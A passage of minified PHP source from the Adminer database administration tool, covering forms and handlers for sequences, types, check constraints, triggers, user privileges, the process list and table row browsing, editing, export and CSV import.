';}elseif(isset($_GET["sequence"])){$da=$_GET["sequence"];$K=$_POST;if($_POST&&!$l){$_=substr(ME,0,-1);$B=trim($K["name"]);if($_POST["drop"])query_redirect("DROP SEQUENCE ".idf_escape($da),$_,'Sequence has been dropped.');elseif($da=="")query_redirect("CREATE SEQUENCE ".idf_escape($B),$_,'Sequence has been created.');elseif($da!=$B)query_redirect("ALTER SEQUENCE ".idf_escape($da)." RENAME TO ".idf_escape($B),$_,'Sequence has been altered.');else
redirect($_);}page_header($da!=""?'Alter sequence'.": ".h($da):'Create sequence',$l);if(!$K)$K["name"]=$da;echo'
<form action="" method="post">
<p><input name="name" value="',h($K["name"]),'" autocapitalize="off">
<input type="submit" value="Save">
';if($da!="")echo"<input type='submit' name='drop' value='".'Drop'."'>".confirm(sprintf('Drop %s?',$da))."\n";echo
input_token(),'</form>
';}elseif(isset($_GET["type"])){$ea=$_GET["type"];$K=$_POST;if($_POST&&!$l){$_=substr(ME,0,-1);if($_POST["drop"])query_redirect("DROP TYPE ".idf_escape($ea),$_,'Type has been dropped.');else
query_redirect("CREATE TYPE ".idf_escape(trim($K["name"]))." $K[as]",$_,'Type has been created.');}page_header($ea!=""?'Alter type'.": ".h($ea):'Create type',$l);if(!$K)$K["as"]="AS ";echo'
<form action="" method="post">
<p>
';if($ea!=""){$ij=driver()->types();$Cc=type_values($ij[$ea]);if($Cc)echo"<code class='jush-".JUSH."'>ENUM (".h($Cc).")</code>\n<p>";echo"<input type='submit' name='drop' value='".'Drop'."'>".confirm(sprintf('Drop %s?',$ea))."\n";}else{echo'Name'.": <input name='name' value='".h($K['name'])."' autocapitalize='off'>\n",doc_link(array('pgsql'=>"datatype-enum.html",),"?");textarea("as",$K["as"]);echo"<p><input type='submit' value='".'Save'."'>\n";}echo
input_token(),'</form>
';}elseif(isset($_GET["check"])){$a=$_GET["check"];$B=$_GET["name"];$K=$_POST;if($K&&!$l){if(JUSH=="sqlite")$I=recreate_table($a,$a,array(),array(),array(),"",array(),"$B",($K["drop"]?"":$K["clause"]));else{$I=($B==""||queries("ALTER TABLE ".table($a)." DROP CONSTRAINT ".idf_escape($B)));if(!$K["drop"])$I=queries("ALTER TABLE ".table($a)." ADD".($K["name"]!=""?" CONSTRAINT ".idf_escape($K["name"]):"")." CHECK ($K[clause])");}queries_redirect(ME."table=".urlencode($a),($K["drop"]?'Check has been dropped.':($B!=""?'Check has been altered.':'Check has been created.')),$I);}page_header(($B!=""?'Alter check'.": ".h($B):'Create check'),$l,array("table"=>$a));if(!$K){$ab=driver()->checkConstraints($a);$K=array("name"=>$B,"clause"=>$ab[$B]);}echo'
<form action="" method="post">
<p>';if(JUSH!="sqlite")echo'Name'.': <input name="name" value="'.h($K["name"]).'" data-maxlength="64" autocapitalize="off"> ';echo
doc_link(array('sql'=>"create-table-check-constraints.html",'mariadb'=>"constraint/",'pgsql'=>"ddl-constraints.html#DDL-CONSTRAINTS-CHECK-CONSTRAINTS",'mssql'=>"relational-databases/tables/create-check-constraints",'sqlite'=>"lang_createtable.html#check_constraints",),"?"),'<p>';textarea("clause",$K["clause"]);echo'<p><input type="submit" value="Save">
';if($B!="")echo'<input type="submit" name="drop" value="Drop">',confirm(sprintf('Drop %s?',$B));echo
input_token(),'</form>
';}elseif(isset($_GET["trigger"])){$a=$_GET["trigger"];$B="$_GET[name]";$ej=trigger_options();$K=(array)trigger($B,$a)+array("Trigger"=>$a."_bi");if($_POST){if(!$l&&in_array($_POST["Timing"],$ej["Timing"])&&in_array($_POST["Event"],$ej["Event"])&&in_array($_POST["Type"],$ej["Type"])){$Of=" ON ".table($a);$ic="DROP TRIGGER ".idf_escape($B).(JUSH=="pgsql"?$Of:"");$Re=ME."table=".urlencode($a);if($_POST["drop"])query_redirect($ic,$Re,'Trigger has been dropped.');else{if($B!="")queries($ic);queries_redirect($Re,($B!=""?'Trigger has been altered.':'Trigger has been created.'),queries(create_trigger($Of,$_POST)));if($B!="")queries(create_trigger($Of,$K+array("Type"=>reset($ej["Type"]))));}}$K=$_POST;}page_header(($B!=""?'Alter trigger'.": ".h($B):'Create trigger'),$l,array("table"=>$a));echo'
<form action="" method="post" id="form">
<table class="layout">
<tr><th>Time<td>',html_select("Timing",$ej["Timing"],$K["Timing"],"triggerChange(/^".preg_quote($a,"/")."_[ba][iud]$/, '".js_escape($a)."', this.form);"),'<tr><th>Event<td>',html_select("Event",$ej["Event"],$K["Event"],"this.form['Timing'].onchange();"),(in_array("UPDATE OF",$ej["Event"])?" <input name='Of' value='".h($K["Of"])."' class='hidden'>":""),'<tr><th>Type<td>',html_select("Type",$ej["Type"],$K["Type"]),'</table>
<p>Name: <input name="Trigger" value="',h($K["Trigger"]),'" data-maxlength="64" autocapitalize="off">
',script("qs('#form')['Timing'].onchange();"),'<p>';textarea("Statement",$K["Statement"]);echo'<p>
<input type="submit" value="Save">
';if($B!="")echo'<input type="submit" name="drop" value="Drop">',confirm(sprintf('Drop %s?',$B));echo
input_token(),'</form>
';}elseif(isset($_GET["user"])){$fa=$_GET["user"];$Vg=array(""=>array("All privileges"=>""));foreach(get_rows("SHOW PRIVILEGES")as$K){foreach(explode(",",($K["Privilege"]=="Grant option"?"":$K["Context"]))as$_b)$Vg[$_b][$K["Privilege"]]=$K["Comment"];}$Vg["Server Admin"]+=$Vg["File access on server"];$Vg["Databases"]["Create routine"]=$Vg["Procedures"]["Create routine"];unset($Vg["Procedures"]["Create routine"]);$Vg["Columns"]=array();foreach(array("Select","Insert","Update","References")as$X)$Vg["Columns"][$X]=$Vg["Tables"][$X];unset($Vg["Server Admin"]["Usage"]);foreach($Vg["Tables"]as$x=>$X)unset($Vg["Databases"][$x]);$xf=array();if($_POST){foreach($_POST["objects"]as$x=>$X)$xf[$X]=(array)$xf[$X]+idx($_POST["grants"],$x,array());}$vd=array();$Mf="";if(isset($_GET["host"])&&($I=connection()->query("SHOW GRANTS FOR ".q($fa)."@".q($_GET["host"])))){while($K=$I->fetch_row()){if(preg_match('~GRANT (.*) ON (.*) TO ~',$K[0],$A)&&preg_match_all('~ *([^(,]*[^ ,(])( *\([^)]+\))?~',$A[1],$Ye,PREG_SET_ORDER)){foreach($Ye
as$X){if($X[1]!="USAGE")$vd["$A[2]$X[2]"][$X[1]]=true;if(preg_match('~ WITH GRANT OPTION~',$K[0]))$vd["$A[2]$X[2]"]["GRANT OPTION"]=true;}}if(preg_match("~ IDENTIFIED BY PASSWORD '([^']+)~",$K[0],$A))$Mf=$A[1];}}if($_POST&&!$l){$Nf=(isset($_GET["host"])?q($fa)."@".q($_GET["host"]):"''");if($_POST["drop"])query_redirect("DROP USER $Nf",ME."privileges=",'User has been dropped.');else{$zf=q($_POST["user"])."@".q($_POST["host"]);$Ag=$_POST["pass"];if($Ag!=''&&!$_POST["hashed"]&&!min_version(8)){$Ag=get_val("SELECT PASSWORD(".q($Ag).")");$l=!$Ag;}$Eb=false;if(!$l){if($Nf!=$zf){$Eb=queries((min_version(5)?"CREATE USER":"GRANT USAGE ON *.* TO")." $zf IDENTIFIED BY ".(min_version(8)?"":"PASSWORD ").q($Ag));$l=!$Eb;}elseif($Ag!=$Mf)queries("SET PASSWORD FOR $zf = ".q($Ag));}if(!$l){$th=array();foreach($xf
as$Gf=>$ud){if(isset($_GET["grant"]))$ud=array_filter($ud);$ud=array_keys($ud);if(isset($_GET["grant"]))$th=array_diff(array_keys(array_filter($xf[$Gf],'strlen')),$ud);elseif($Nf==$zf){$Kf=array_keys((array)$vd[$Gf]);$th=array_diff($Kf,$ud);$ud=array_diff($ud,$Kf);unset($vd[$Gf]);}if(preg_match('~^(.+)\s*(\(.*\))?$~U',$Gf,$A)&&(!grant("REVOKE",$th,$A[2]," ON $A[1] FROM $zf")||!grant("GRANT",$ud,$A[2]," ON $A[1] TO $zf"))){$l=true;break;}}}if(!$l&&isset($_GET["host"])){if($Nf!=$zf)queries("DROP USER $Nf");elseif(!isset($_GET["grant"])){foreach($vd
as$Gf=>$th){if(preg_match('~^(.+)(\(.*\))?$~U',$Gf,$A))grant("REVOKE",array_keys($th),$A[2]," ON $A[1] FROM $zf");}}}queries_redirect(ME."privileges=",(isset($_GET["host"])?'User has been altered.':'User has been created.'),!$l);if($Eb)connection()->query("DROP USER $zf");}}page_header((isset($_GET["host"])?'Username'.": ".h("$fa@$_GET[host]"):'Create user'),$l,array("privileges"=>array('','Privileges')));$K=$_POST;if($K)$vd=$xf;else{$K=$_GET+array("host"=>get_val("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', -1)"));$K["pass"]=$Mf;if($Mf!="")$K["hashed"]=true;$vd[(DB==""||$vd?"":idf_escape(addcslashes(DB,"%_\\"))).".*"]=array();}echo'<form action="" method="post">
<table class="layout">
<tr><th>Server<td><input name="host" data-maxlength="60" value="',h($K["host"]),'" autocapitalize="off">
<tr><th>Username<td><input name="user" data-maxlength="80" value="',h($K["user"]),'" autocapitalize="off">
<tr><th>Password<td><input name="pass" id="pass" value="',h($K["pass"]),'" autocomplete="new-password">
',($K["hashed"]?"":script("typePassword(qs('#pass'));")),(min_version(8)?"":checkbox("hashed",1,$K["hashed"],'Hashed',"typePassword(this.form['pass'], this.checked);")),'</table>

',"<table class='odds'>\n","<thead><tr><th colspan='2'>".'Privileges'.doc_link(array('sql'=>"grant.html#priv_level"));$s=0;foreach($vd
as$Gf=>$ud){echo'<th>'.($Gf!="*.*"?"<input name='objects[$s]' value='".h($Gf)."' size='10' autocapitalize='off'>":input_hidden("objects[$s]","*.*")."*.*");$s++;}echo"</thead>\n";foreach(array(""=>"","Server Admin"=>'Server',"Databases"=>'Database',"Tables"=>'Table',"Columns"=>'Column',"Procedures"=>'Routine',)as$_b=>$Yb){foreach((array)$Vg[$_b]as$Ug=>$ob){echo"<tr><td".($Yb?">$Yb<td":" colspan='2'").' lang="en" title="'.h($ob).'">'.h($Ug);$s=0;foreach($vd
as$Gf=>$ud){$B="'grants[$s][".h(strtoupper($Ug))."]'";$Y=$ud[strtoupper($Ug)];if($_b=="Server Admin"&&$Gf!=(isset($vd["*.*"])?"*.*":".*"))echo"<td>";elseif(isset($_GET["grant"]))echo"<td><select name=$B><option><option value='1'".($Y?" selected":"").">".'Grant'."<option value='0'".($Y=="0"?" selected":"").">".'Revoke'."</select>";else
echo"<td align='center'><label class='block'>","<input type='checkbox' name=$B value='1'".($Y?" checked":"").($Ug=="All privileges"?" id='grants-$s-all'>":">".($Ug=="Grant option"?"":script("qsl('input').onclick = function () { if (this.checked) formUncheck('grants-$s-all'); };"))),"</label>";$s++;}}}echo"</table>\n",'<p>
<input type="submit" value="Save">
';if(isset($_GET["host"]))echo'<input type="submit" name="drop" value="Drop">',confirm(sprintf('Drop %s?',"$fa@$_GET[host]"));echo
input_token(),'</form>
';}elseif(isset($_GET["processlist"])){if(support("kill")){if($_POST&&!$l){$De=0;foreach((array)$_POST["kill"]as$X){if(kill_process($X))$De++;}queries_redirect(ME."processlist=",lang_format(array('%d process has been killed.','%d processes have been killed.'),$De),$De||!$_POST["kill"]);}}page_header('Process list',$l);echo'
<form action="" method="post">
<div class="scrollable">
<table class="nowrap checkable odds">
',script("mixin(qsl('table'), {onclick: tableClick, ondblclick: partialArg(tableClick, true)});");$s=-1;foreach(process_list()as$s=>$K){if(!$s){echo"<thead><tr lang='en'>".(support("kill")?"<th>":"");foreach($K
as$x=>$X)echo"<th>$x".doc_link(array('sql'=>"show-processlist.html#processlist_".strtolower($x),'pgsql'=>"monitoring-stats.html#PG-STAT-ACTIVITY-VIEW",'oracle'=>"REFRN30223",));echo"</thead>\n";}echo"<tr>".(support("kill")?"<td>".checkbox("kill[]",$K[JUSH=="sql"?"Id":"pid"],0):"");foreach($K
as$x=>$X)echo"<td>".((JUSH=="sql"&&$x=="Info"&&preg_match("~Query|Killed~",$K["Command"])&&$X!="")||(JUSH=="pgsql"&&$x=="current_query"&&$X!="<IDLE>")||(JUSH=="oracle"&&$x=="sql_text"&&$X!="")?"<code class='jush-".JUSH."'>".shorten_utf8($X,100,"</code>").' <a href="'.h(ME.($K["db"]!=""?"db=".urlencode($K["db"])."&":"")."sql=".urlencode($X)).'">'.'Clone'.'</a>':h($X));echo"\n";}echo'</table>
</div>
<p>
';if(support("kill"))echo($s+1)."/".sprintf('%d in total',max_connections()),"<p><input type='submit' value='".'Kill'."'>\n";echo
input_token(),'</form>
',script("tableCheck();");}elseif(isset($_GET["select"])){$a=$_GET["select"];$S=table_status1($a);$w=indexes($a);$n=fields($a);$ld=column_foreign_keys($a);$If=$S["Oid"];$na=get_settings("adminer_import");$uh=array();$e=array();$Gh=array();$ag=array();$Ji="";foreach($n
as$x=>$m){$B=adminer()->fieldName($m);$vf=html_entity_decode(strip_tags($B),ENT_QUOTES);if(isset($m["privileges"]["select"])&&$B!=""){$e[$x]=$vf;if(is_shortable($m))$Ji=adminer()->selectLengthProcess();}if(isset($m["privileges"]["where"])&&$B!="")$Gh[$x]=$vf;if(isset($m["privileges"]["order"])&&$B!="")$ag[$x]=$vf;$uh+=$m["privileges"];}list($M,$wd)=adminer()->selectColumnsProcess($e,$w);$M=array_unique($M);$wd=array_unique($wd);$te=count($wd)<count($M);$Z=adminer()->selectSearchProcess($n,$w);$Zf=adminer()->selectOrderProcess($n,$w);$z=adminer()->selectLimitProcess();if($_GET["val"]&&is_ajax()){header("Content-Type: text/plain; charset=utf-8");foreach($_GET["val"]as$nj=>$K){$wa=convert_field($n[key($K)]);$M=array($wa?:idf_escape(key($K)));$Z[]=where_check($nj,$n);$J=driver()->select($a,$M,$Z,$M);if($J)echo
first($J->fetch_row());}exit;}$G=$pj=array();foreach($w
as$v){if($v["type"]=="PRIMARY"){$G=array_flip($v["columns"]);$pj=($M?$G:array());foreach($pj
as$x=>$X){if(in_array(idf_escape($x),$M))unset($pj[$x]);}break;}}if($If&&!$G){$G=$pj=array($If=>0);$w[]=array("type"=>"PRIMARY","columns"=>array($If));}if($_POST&&!$l){$Mj=$Z;if(!$_POST["all"]&&is_array($_POST["check"])){$ab=array();foreach($_POST["check"]as$Wa)$ab[]=where_check($Wa,$n);$Mj[]="((".implode(") OR (",$ab)."))";}$Mj=($Mj?"\nWHERE ".implode(" AND ",$Mj):"");if($_POST["export"]){save_settings(array("output"=>$_POST["output"],"format"=>$_POST["format"]),"adminer_import");dump_headers($a);adminer()->dumpTable($a,"");$pd=($M?implode(", ",$M):"*").convert_fields($e,$n,$M)."\nFROM ".table($a);$yd=($wd&&$te?"\nGROUP BY ".implode(", ",$wd):"").($Zf?"\nORDER BY ".implode(", ",$Zf):"");$H="SELECT $pd$Mj$yd";if(is_array($_POST["check"])&&!$G){$lj=array();foreach($_POST["check"]as$X)$lj[]="(SELECT".limit($pd,"\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$n).$yd,1).")";$H=implode(" UNION ALL ",$lj);}adminer()->dumpData($a,"table",$H);adminer()->dumpFooter();exit;}if(!adminer()->selectEmailProcess($Z,$ld)){if($_POST["save"]||$_POST["delete"]){$I=true;$oa=0;$O=array();if(!$_POST["delete"]){foreach($_POST["fields"]as$B=>$X){$X=process_input($n[$B]);if($X!==null&&($_POST["clone"]||$X!==false))$O[idf_escape($B)]=($X!==false?$X:idf_escape($B));}}if($_POST["delete"]||$O){$H=($_POST["clone"]?"INTO ".table($a)." (".implode(", ",array_keys($O)).")\nSELECT ".implode(", ",$O)."\nFROM ".table($a):"");if($_POST["all"]||($G&&is_array($_POST["check"]))||$te){$I=($_POST["delete"]?driver()->delete($a,$Mj):($_POST["clone"]?queries("INSERT $H$Mj".driver()->insertReturning($a)):driver()->update($a,$O,$Mj)));$oa=connection()->affected_rows;if(is_object($I))$oa+=$I->num_rows;}else{foreach((array)$_POST["check"]as$X){$Lj="\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$n);$I=($_POST["delete"]?driver()->delete($a,$Lj,1):($_POST["clone"]?queries("INSERT".limit1($a,$H,$Lj)):driver()->update($a,$O,$Lj,1)));if(!$I)break;$oa+=connection()->affected_rows;}}}$if=lang_format(array('%d item has been affected.','%d items have been affected.'),$oa);if($_POST["clone"]&&$I&&$oa==1){$Ie=last_id($I);if($Ie)$if=sprintf('Item%s has been inserted.'," $Ie");}queries_redirect(remove_from_uri($_POST["all"]&&$_POST["delete"]?"page":""),$if,$I);if(!$_POST["delete"]){$Mg=(array)$_POST["fields"];edit_form($a,array_intersect_key($n,$Mg),$Mg,!$_POST["clone"],$l);page_footer();exit;}}elseif(!$_POST["import"]){if(!$_POST["val"])$l='Ctrl+click on a value to modify it.';else{$I=true;$oa=0;foreach($_POST["val"]as$nj=>$K){$O=array();foreach($K
as$x=>$X){$x=bracket_escape($x,true);$O[idf_escape($x)]=(preg_match('~char|text~',$n[$x]["type"])||$X!=""?adminer()->processInput($n[$x],$X):"NULL");}$I=driver()->update($a,$O," WHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($nj,$n),($te||$G?0:1)," ");if(!$I)break;$oa+=connection()->affected_rows;}queries_redirect(remove_from_uri(),lang_format(array('%d item has been affected.','%d items have been affected.'),$oa),$I);}}elseif(!is_string($Zc=get_file("csv_file",true)))$l=upload_error($Zc);elseif(!preg_match('~~u',$Zc))$l='File must be in UTF-8 encoding.';else{save_settings(array("output"=>$na["output"],"format"=>$_POST["separator"]),"adminer_import");$I=true;$kb=array_keys($n);preg_match_all('~(?>"[^"]*"|[^"\r\n]+)+~',$Zc,$Ye);$oa=count($Ye[0]);driver()->begin();$Mh=($_POST["separator"]=="csv"?",":($_POST["separator"]=="tsv"?"\t":";"));$L=array();foreach($Ye[0]as$x=>$X){preg_match_all("~((?>\"[^\"]*\")+|[^$Mh]*)$Mh~",$X.$Mh,$Ze);if(!$x&&!array_diff($Ze[1],$kb)){$kb=$Ze[1];$oa--;}else{$O=array();foreach($Ze[1]as$s=>$hb)$O[idf_escape($kb[$s])]=($hb==""&&$n[$kb[$s]]["null"]?"NULL":q(preg_match('~^".*"$~s',$hb)?str_replace('""','"',substr($hb,1,-1)):$hb));$L[]=$O;}}$I=(!$L||driver()->insertUpdate($a,$L,$G));if($I)driver()->commit();queries_redirect(remove_from_uri("page"),lang_format(array('%d row has been imported.','%d rows have been imported.'),$oa),$I);driver()->rollback();}}}$vi=adminer()->tableName($S);if(is_ajax()){page_headers();ob_start();}else
page_header('Select'.": $vi",$l);$O=null;if(isset($uh["insert"])||!support("table")){$rg=array();foreach((array)$_GET["where"]as$X){if(isset($ld[$X["col"]])&&count($ld[$X["col"]])==1&&($X["op"]=="="||(!$X["op"]&&(is_array($X["val"])||!preg_match('~[_%]~',$X["val"])))))$rg["set"."[".bracket_escape($X["col"])."]"]=$X["val"];}$O=$rg?"&".http_build_query($rg):"";}adminer()->selectLinks($S,$O);if(!$e&&support("table"))echo"<p class='error'>".'Unable to select the table'.($n?".":": ".error())."\n";else{echo"<form action='' id='form'>\n","<div style='display: none;'>";hidden_fields_get();echo(DB!=""?input_hidden("db",DB).(isset($_GET["ns"])?input_hidden("ns",$_GET["ns"]):""):""),input_hidden("select",$a),"</div>\n";adminer()->selectColumnsPrint($M,$e);adminer()->selectSearchPrint($Z,$Gh,$w);adminer()->selectOrderPrint($Zf,$ag,$w);adminer()->selectLimitPrint($z);adminer()->selectLengthPrint($Ji);adminer()->selectActionPrint($w);echo"</form>\n";$D=$_GET["page"];$od=null;if($D=="last"){$od=get_val(count_rows($a,$Z,$te,$wd));$D=floor(max(0,intval($od)-1)/$z);}$Hh=$M;$xd=$wd;if(!$Hh){$Hh[]="*";$Ab=convert_fields($e,$n,$M);if($Ab)$Hh[]=substr($Ab,2);}foreach($M
as$x=>$X){$m=$n[idf_unescape($X)];if($m&&($wa=convert_field($m)))$Hh[$x]="$wa AS $X";}if(!$te&&$pj){foreach($pj
as$x=>$X){$Hh[]=idf_escape($x);if($xd)$xd[]=idf_escape($x);}}$I=driver()->select($a,$Hh,$Z,$xd,$Zf,$z,$D,true);if(!$I)echo"<p class='error'>".error()."\n";else{if(JUSH=="mssql"&&$D)$I->seek($z*$D);$wc=array();echo"<form action='' method='post' enctype='multipart/form-data'>\n";$L=array();while($K=$I->fetch_assoc()){if($D&&JUSH=="oracle")unset($K["RNUM"]);$L[]=$K;}if($_GET["page"]!="last"&&$z&&$wd&&$te&&JUSH=="sql")$od=get_val(" SELECT FOUND_ROWS()");if(!$L)echo"<p class='message'>".'No rows.'."\n";else{$Ea=adminer()->backwardKeys($a,$vi);echo"<div class='scrollable'>","<table id='table' class='nowrap checkable odds'>",script("mixin(qs('#table'), {onclick: tableClick, ondblclick: partialArg(tableClick, true), onkeydown: editingKeydown});"),"<thead><tr>".(!$wd&&$M?"":"<td><input type='checkbox' id='all-page' class='jsonly'>".script("qs('#all-page').onclick = partial(formCheck, /check/);","")." <a href='".h($_GET["modify"]?remove_from_uri("modify"):$_SERVER["REQUEST_URI"]."&modify=1")."'>".'Modify'."</a>");$wf=array();$rd=array();reset($M);$eh=1;foreach($L[0]as$x=>$X){if(!isset($pj[$x])){$X=idx($_GET["columns"],key($M))?:array();$m=$n[$M?($X?$X["col"]:current($M)):$x];$B=($m?adminer()->fieldName($m,$eh):($X["fun"]?"*":h($x)));if($B!=""){$eh++;$wf[$x]=$B;$d=idf_escape($x);$Nd=remove_from_uri('(order|desc)[^=]*|page').'&order%5B0%5D='.urlencode($x);$Yb="&desc%5B0%5D=1";echo"<th id='th[".h(bracket_escape($x))."]'>".script("mixin(qsl('th'), {onmouseover: partial(columnMouse), onmouseout: partial(columnMouse, ' hidden')});","");$qd=apply_sql_function($X["fun"],$B);$Zh=isset($m["privileges"]["order"])||$qd;echo($Zh?"<a href='".h($Nd.($Zf[0]==$d||$Zf[0]==$x||(!$Zf&&$te&&$wd[0]==$d)?$Yb:''))."'>$qd</a>":$qd),"<span class='column hidden'>";if($Zh)echo"<a href='".h($Nd.$Yb)."' title='".'descending'."' class='text'> Ã¢â€ â€œ</a>";if(!$X["fun"]&&isset($m["privileges"]["where"]))echo'<a href="#fieldset-search" title="'.'Search'.'" class="text jsonly"> =</a>',script("qsl('a').onclick = partial(selectSearch, '".js_escape($x)."');");echo"</span>";}$rd[$x]=$X["fun"];next($M);}}$Ne=array();if($_GET["modify"]){foreach($L
as$K){foreach($K
as$x=>$X)$Ne[$x]=max($Ne[$x],min(40,strlen(utf8_decode($X))));}}echo($Ea?"<th>".'Relations':"")."</thead>\n";if(is_ajax())ob_end_clean();foreach(adminer()->rowDescriptions($L,$ld)as$uf=>$K){$mj=unique_array($L[$uf],$w);if(!$mj){$mj=array();reset($M);foreach($L[$uf]as$x=>$X){if(!preg_match('~^(COUNT|AVG|GROUP_CONCAT|MAX|MIN|SUM)\(~',current($M)))$mj[$x]=$X;next($M);}}$nj="";foreach($mj
as$x=>$X){$m=(array)$n[$x];if((JUSH=="sql"||JUSH=="pgsql")&&preg_match('~char|text|enum|set~',$m["type"])&&strlen($X)>64){$x=(strpos($x,'(')?$x:idf_escape($x));$x="MD5(".(JUSH!='sql'||preg_match("~^utf8~",$m["collation"])?$x:"CONVERT($x USING ".charset(connection()).")").")";$X=md5($X);}$nj
.="&".($X!==null?urlencode("where[".bracket_escape($x)."]")."=".urlencode($X===false?"f":$X):"null%5B%5D=".urlencode($x));}echo"<tr>".(!$wd&&$M?"":"<td>".checkbox("check[]",substr($nj,1),in_array(substr($nj,1),(array)$_POST["check"])).($te||information_schema(DB)?"":" <a href='".h(ME."edit=".urlencode($a).$nj)."' class='edit'>".'edit'."</a>"));reset($M);foreach($K
as$x=>$X){if(isset($wf[$x])){$d=current($M);$m=(array)$n[$x];$X=driver()->value($X,$m);if($X!=""&&(!isset($wc[$x])||$wc[$x]!=""))$wc[$x]=(is_mail($X)?$wf[$x]:"");$_="";if(preg_match('~blob|bytea|raw|file~',$m["type"])&&$X!="")$_=ME.'download='.urlencode($a).'&field='.urlencode($x).$nj;if(!$_&&$X!==null){foreach((array)$ld[$x]as$p){if(count($ld[$x])==1||end($p["source"])==$x){$_="";foreach($p["source"]as$s=>$ai)$_
.=where_link($s,$p["target"][$s],$L[$uf][$ai]);$_=($p["db"]!=""?preg_replace('~([?&]db=)[^&]+~','\1'.urlencode($p["db"]),ME):ME).'select='.urlencode($p["table"]).$_;if($p["ns"])$_=preg_replace('~([?&]ns=)[^&]+~','\1'.urlencode($p["ns"]),$_);if(count($p["source"])==1)break;}}}if($d=="COUNT(*)"){$_=ME."select=".urlencode($a);$s=0;foreach((array)$_GET["where"]as$W){if(!array_key_exists($W["col"],$mj))$_
.=where_link($s++,$W["col"],$W["val"],$W["op"]);}foreach($mj
as$_e=>$W)$_
.=where_link($s++,$_e,$W);}$Od=select_value($X,$_,$m,$Ji);$t=h("val[$nj][".bracket_escape($x)."]");$Ng=idx(idx($_POST["val"],$nj),bracket_escape($x));$rc=!is_array($K[$x])&&is_utf8($Od)&&$L[$uf][$x]==$K[$x]&&!$rd[$x]&&!$m["generated"];$U=(preg_match('~^(AVG|MIN|MAX)\((.+)\)~',$d,$A)?$n[idf_unescape($A[2])]["type"]:$m["type"]);$Hi=preg_match('~text|json|lob~',$U);$ue=preg_match(number_type(),$U)||preg_match('~^(CHAR_LENGTH|ROUND|FLOOR|CEIL|TIME_TO_SEC|COUNT|SUM)\(~',$d);echo"<td id='$t'".($ue&&($X===null||is_numeric(strip_tags($Od))||$U=="money")?" class='number'":"");if(($_GET["modify"]&&$rc&&$X!==null)||$Ng!==null){$Ad=h($Ng!==null?$Ng:$K[$x]);echo">".($Hi?"<textarea name='$t' cols='30' rows='".(substr_count($K[$x],"\n")+1)."'>$Ad</textarea>":"<input name='$t' value='$Ad' size='$Ne[$x]'>");}else{$Te=strpos($Od,"<i>Ã¢â‚¬Â¦</i>");echo" data-text='".($Te?2:($Hi?1:0))."'".($rc?"":" data-warning='".h('Use edit link to modify this value.')."'").">$Od";}}next($M);}if($Ea)echo"<td>";adminer()->backwardKeysPrint($Ea,$L[$uf]);echo"</tr>\n";}if(is_ajax())exit;echo"</table>\n","</div>\n";}if(!is_ajax()){if($L||$D){$Jc=true;if($_GET["page"]!="last"){if(!$z||(count($L)<$z&&($L||!$D)))$od=($D?$D*$z:0)+count($L);elseif(JUSH!="sql"||!$te){$od=($te?false:found_rows($S,$Z));if(intval($od)<max(1e4,2*($D+1)*$z))$od=first(slow_query(count_rows($a,$Z,$te,$wd)));else$Jc=false;}}$pg=($z&&($od===false||$od>$z||$D));if($pg)echo(($od===false?count($L)+1:$od-$D*$z)>$z?'<p><a href="'.h(remove_from_uri("page")."&page=".($D+1)).'" class="loadmore">'.'Load more data'.'</a>'.script("qsl('a').onclick = partial(selectLoadMore, $z, '".'Loading'."Ã¢â‚¬Â¦');",""):''),"\n";echo"<div class='footer'><div>\n";if($pg){$bf=($od===false?$D+(count($L)>=$z?2:1):floor(($od-1)/$z));echo"<fieldset>";if(JUSH!="simpledb"){echo"<legend><a href='".h(remove_from_uri("page"))."'>".'Page'."</a></legend>",script("qsl('a').onclick = function () { pageClick(this.href, +prompt('".'Page'."', '".($D+1)."')); return false; };"),pagination(0,$D).($D>5?" Ã¢â‚¬Â¦":"");for($s=max(1,$D-4);$s<min($bf,$D+5);$s++)echo
pagination($s,$D);if($bf>0)echo($D+5<$bf?" Ã¢â‚¬Â¦":""),($Jc&&$od!==false?pagination($bf,$D):" <a href='".h(remove_from_uri("page")."&page=last")."' title='~$bf'>".'last'."</a>");}else
echo"<legend>".'Page'."</legend>",pagination(0,$D).($D>1?" Ã¢â‚¬Â¦":""),($D?pagination($D,$D):""),($bf>$D?pagination($D+1,$D).($bf>$D+1?" Ã¢â‚¬Â¦":""):"");echo"</fieldset>\n";}echo"<fieldset>","<legend>".'Whole result'."</legend>";$fc=($Jc?"":"~ ").$od;$Sf="const checked = formChecked(this, /check/); selectCount('selected', this.checked ? '$fc' : checked); selectCount('selected2', this.checked || !checked ? '$fc' : checked);";echo
checkbox("all",1,0,($od!==false?($Jc?"":"~ ").lang_format(array('%d row','%d rows'),$od):""),$Sf)."\n","</fieldset>\n";if(adminer()->selectCommandPrint())echo'<fieldset',($_GET["modify"]?'':' class="jsonly"'),'><legend>Modify</legend><div>
<input type="submit" value="Save"',($_GET["modify"]?'':' title="'.'Ctrl+click on a value to modify it.'.'"'),'>
</div></fieldset>
<fieldset><legend>Selected <span id="selected"></span></legend><div>
<input type="submit" name="edit" value="Edit">
<input type="submit" name="clone" value="Clone">
<input type="submit" name="delete" value="Delete">',confirm(),'</div></fieldset>
';$md=adminer()->dumpFormat();foreach((array)$_GET["columns"]as$d){if($d["fun"]){unset($md['sql']);break;}}if($md){print_fieldset("export",'Export'." <span id='selected2'></span>");$mg=adminer()->dumpOutput();echo($mg?html_select("output",$mg,$na["output"])." ":""),html_select("format",$md,$na["format"])," <input type='submit' name='export' value='".'Export'."'>\n","</div></fieldset>\n";}adminer()->selectEmailPrint(array_filter($wc,'strlen'),$e);echo"</div></div>\n";}if(adminer()->selectImportPrint())echo"<p>","<a href='#import'>".'Import'."</a>",script("qsl('a').onclick = partial(toggle, 'import');",""),"<span id='import'".($_POST["import"]?"":" class='hidden'").">: ","<input type='file' name='csv_file'> ",html_select("separator",array("csv"=>"CSV,","csv;"=>"CSV;","tsv"=>"TSV"),$na["format"])," <input type='submit' name='import' value='".'Import'."'>","</span>";echo
input_token(),"</form>\n",(!$wd&&$M?"":script("tableCheck();"));}}}if(is_ajax()){ob_end_clean();exit;}}elseif(isset($_GET["variables"])){$P=isset($_GET["status"]);page_header($P?'Status':'Variables');$Cj=($P?show_status():show_variables());if(!$Cj)echo"<p class='message'>".'No rows.'."\n";else{echo"<table>\n";foreach($Cj
